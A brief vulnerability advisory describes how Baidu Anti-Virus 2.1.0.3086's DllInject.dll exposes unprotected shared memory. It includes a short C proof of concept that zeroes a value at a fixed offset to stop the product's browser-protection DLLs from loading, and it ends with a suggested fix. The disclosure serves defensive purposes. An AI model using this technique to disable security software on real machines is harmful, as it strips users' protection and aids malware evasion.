Baidu anti-virus shared memory vulnerability causes access protection to fail

Baidu anti-virus shared memory vulnerability causes access protection to fail

DllInject. dll uses shared memory data and has no permission to check it. Any process can modify it, resulting in Baidu's Anti-Virus defense against browsers being ineffective.

Take chrome as an example:

Before Attack:
 

After the attack:
 

As you can see, after the attack, chrome will not load some functional DLL such as Baidu anti-virus WebSafe and WebMonHook.

LPCTSTR lpszDll = _ T ("C: \ Program Files \ Baidu \ BaiduSd \ 2.1.0.3086 \ websafe \ DllInject. dll "); HMODULE hMod = LoadLibrary (lpszDll); DWORD * mongoaddr = (DWORD *) (DWORD) hMod + 0x6000); // For 2.1.0.3086 DllInject. dll * mongoaddr = 0;

Solution: use more secure Memory sharing methods to increase permission control.